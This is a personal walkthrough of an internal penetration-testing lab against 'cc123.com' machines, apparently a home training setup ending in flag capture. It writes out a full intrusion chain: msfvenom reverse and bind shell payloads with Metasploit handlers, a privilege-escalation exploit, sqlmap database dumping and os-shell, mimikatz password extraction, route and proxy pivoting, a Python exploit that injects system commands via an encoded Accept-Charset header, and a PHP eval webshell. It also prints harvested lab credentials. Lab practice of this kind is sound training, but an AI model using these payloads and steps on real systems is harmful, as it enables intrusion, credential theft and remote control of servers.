Complete penetration testing example

Process outline

Introduction

I completed this internal penetration testing lab at the beginning of 2021, but I didn't maintain it for a long time. Then I went to a CTF site and solved a lot of problems, improving my ranking from 20,000 to 200.

After solving CTF problems, there were various exams, and it took a while before I had time to summarize the internal penetration notes (June 6, 2021).

A year later, during the summer of 2022, while organizing personal knowledge and skills, I felt I had learned a lot but also taken many detours, feeling quite chaotic. From now on, I will continue to organize my notes and skill trees in article form. Given that this was the first more formal note, I have selected it as the first article to publish.

Original screenshots, just for fun and to preserve memories.

Main Content

Environment Setup

1. Deploy three target machines: WEB server *2, database server in VM virtual machines

2. Complete target field diagram

3. Virtual machine network segment setup knowledge: Youdao Note (youdao.com)

4. Set up two internal segments 10.10.10.0 and 10.10.1.0 in VM virtual machines

5. Check if machines in the same segment can ping each other

6. IIS website pool and DNS resolution pool are set up on the target machine's website

7. Gateway binding

Binding the IP and domain to hosts allows access to the target machine's website. After binding the target machine's IP in the local network gateway, you can access the website even without hosts information (only www.cc123.com needs Firefox private mode to access)

Penetration Process:

Discovering Internal Hosts

netdiscover

Command: netdiscover -i eth0 -r 192.168.0.0/24

Port Scanning

masscan

Port Information Detection

nmap

Brute Force Subdomains

Command: wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

Domain new.

Python Script Injection to Obtain Backend Password

Target: new.cc123.com

Exploit a version injection vulnerability in dedecms to write a Python script for injection and obtain the admin login password

812df726be884ddcfc41 MD5 decoded as admin7788, wich is the backend management login password

Successfully Log In to Backend

After obtaining the admin password, successfully log in to the website backend

Discovered that a one-line webshell uploaded from the backend could not be executed, likely due to lack of path permissions

So first upload a small webshell to detect the path with upload and execution permissions

Small Webshell Detection

Detect paths with upload and execution permissions using a small webshell

Upload Large Webshell

A large webshell has many uses and will be used in conjunction later

Use AntSword to Manage the Website

After connecting to AntSword, many operations can be performed, but other methods will be used in this project

Metasploit Session Connection and Privilege Escalation

Target: new.cc123c.com

//After starting the target machine, the previous IP 192.168.31.85 was changed to 192.168.31.86, but it's not a big issue, modifying the DNS resolution and host gateway allocation in the target machine file still works normally

Reverse Shell Connection

(1) msf establishes a connection session via reverse shell

Process:

msfvenom -p windows/meterpreter/reverse_tcp lhost=kali_ip lport=port_to_open -f exe >SL.exe
//Generate exe file

Enter msf
msf > use exploit/multi/handler
msf(handler) > set payload windows/meterpreter/reverse_tcp
msf(handler) > set lhost xxxxxx (kali local ip)
msf(handler) > set lport xxxxxx             //These two items need to match the generated file information
msf(handler) > run

Execute the generated exe file to start the reverse connection

Upload and execute in the large webshell

Established session successfully, but currently only user (cc123) permissions, need privilege escalation

Privilege Escalation to System

Premise: ASPXSpy2014.aspx reverse connection is under the cc123 user

After meterpreter connects successfully
meterpreter > background
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post( multi/recon/local_exploit_suggester) > set session xx
show options to check
run

Select from many optional exploits
use exploit/windows/local/ms16_075_reflection_juicy
set session xx
set lport 4444  (very important)
run

Privilege escalation successful, obtained highest system permissions

Domain ww2.

Website Backend Directory Scanning

Target: ww2.cc123.com

Scanning results found the required backend management interface

Log in to the ww2.cc123.com backend

BP Brute Force Management System (Method 1)

BP packet capture found that the verification code can be reused, allowing password brute force (this step is optional, but other methods were used to achieve login in this operation)

SQL Injection Bypass Password (Method 2)

Principle: Exploit an SQL injection vulnerability by commenting out the password to directly use the existing admin account to log in

XSS Backdoor Injection Vulnerability

There is an XSS injection vulnerability

Note: It is possible to obtain its cookie when the administrator logs in through XSS injection

Sqlmap Testing and Collecting Detailed Information

In the website backend page, BP packet capture

After capturing the packet, place it in a file in Kali

Note: Add the target machine's IP and domain name to the hosts file in Kali to use sqlmap scanning

sqlmap -r sqll --dbms mssql -v 1 --batch        //Test injection information
sqlmap -r sqll --dbms mssql -v 1 --dbs          //List database names
sqlmap -r sqll --dbms mssql -v 1 -D ** --tables    //List table names in ** database
sqlmap -r sqll --dbms mssql -v 1 -D ** -T $$ --dump //List content in ** database's $$ table
sqlmap -r sqll --dbms mssql -v 1 --os-shell     //Obtain mssql shell
//Here, the file where the captured webpage request information is placed is named sqll (the name doesn't matter)

Operation display:

Get the database name under the site

Get all table names in the specified database

Get key information (account passwords) from the database table

Establish a shell connection to get server information

Obtain mssql shell and use the connection established by sqlmap to get SQLSERVER server information

View network and port operation status

Roughly infer the internal domain structure

Conclusion: From the collected server IP information and initial target machine, it is inconsistent, inferring the target is a separated architecture, containing at least two servers

(Separated architecture: program and database are not on the same server, making the data server more secure)

192.168.31.86/10.10.10.144 is A target machine (site page data storage)

10.10.1.144/10.10.10.147 is B target machine (site database storage)

10.10.1.146 is the final target machine

Check for highest privileges

.NET Audit

//Continue the project, at this point the Kali IP changes from 192.168.31.14 to 192.168.31.15... quite annoying, reconnect to msf and escalate privileges again

Download the attachment, you can use ILSpy for code auditing

ww2. Program ciphertext decryption

Find encrypted program code in the downloaded file and create a decryption tool with VS

Decryption result

Target: ww2.cc123.com backend management system

Account        Password

admin    cc123

c c123    qweasd123

The repeated use of the verification code vulnerability in the backend can be used for password brute force with BP (but it's not necessary in this project since it's already decrypted)

Deep Collection of Internal Network Information

Get Gateway and Hash Information

Parse Plaintext Passwords

Use mimikatz to get plaintext passwords, first migrate the process to vmtoolsd.exe to avoid乱码 when using mimikatz to parse

Note: Do not migrate to the administrator process (equivalent to downgrading), should migrate to a process with the same level of system privileges and 64-bit task process

migrate ****

After migration, import mimikatz (it seems that mimikatz must be imported separately for each session)

load mimikatz                                   //Import
mimikatz_command -f samdump::hashes            //Parse hash values
mimikatz_command -f sekurlsa::searchPasswords   //Parse plain text passwords
wdigest

tspkg

Operation interface

Parsed administrator account credentials

Add Route and Proxy Settings

Proxy Configuration File Port Scanning

vim /etc/proxychains.conf

Modify the proxychains.conf file's 127.0.0.1 port to 3333, then execute proxy port scanning

Use the previously uploaded aspx large webshell to connect to the data base and upload a forward shell

Retrieve Database Account Passwords

View the Web.config file to get account passwords <add key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.." />

Penetrate Target Machine B

msf Generate Shell

msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe > bind.exe   //Generate shell

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 10.10.10.134

set lport 13777

Combine with Large Webshell to Establish Session

First use the obtained account and password

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..;database=master 

Log in to MYSQL database

Note: Pay attention to the upload path! It must be a path that can execute 64-bit programs (because the shell generated by msf is 64-bit, here choose the path C:\Program Files, which can successfully upload and execute

Successfully establish a forward session

Troubleshooting: If the path is not specified, the webshell may fail during upload. If the specified path is incorrect, it may lead to failure in uploading and executing

Example

(Incorrect upload path c:/ZX.exe)

Open God's Eye to Analyze Errors

Target machine B

Unable to execute

Correct operation result is ZX.exe uploaded to C:\Program Files and successfully executed session

It seems sometimes it can be successfully uploaded and executed, sometimes not, a bit of luck?

Mimikatz Decrypt Text

Migrate process at the same level

migrate \

Here we can escalate privileges and obtain ciphertext as before

Penetrate Target Machine C

Add Route

run autoroute -s 10.10.1.0/24

Set proxy

Check normal

Proxy access to the website

Indicates proxy success

Construct Py Script

#conding:utf-8

import requests
import sys
import base64

shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))

header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}

def exploit(url):
    html = requests.get(url=url,headers=header).text
    return html

url = "http://10.10.1.157/"    //IP of target machine C
print(exploit(url))

Write a one-line webshell

proxychains python3 py.py "echo ^<?php @eval(

$_POST["slaine"])?^>>c:\phpstudy\WWW\shell.php"

Successfully connected

Highest privileges

Upload a forward connection shell with Knife

Successfully connected, and with the highest privileges

Session Summary

Internal penetration complete

Flag Retrieval

flag1

flag2

flag3

flag4

Done.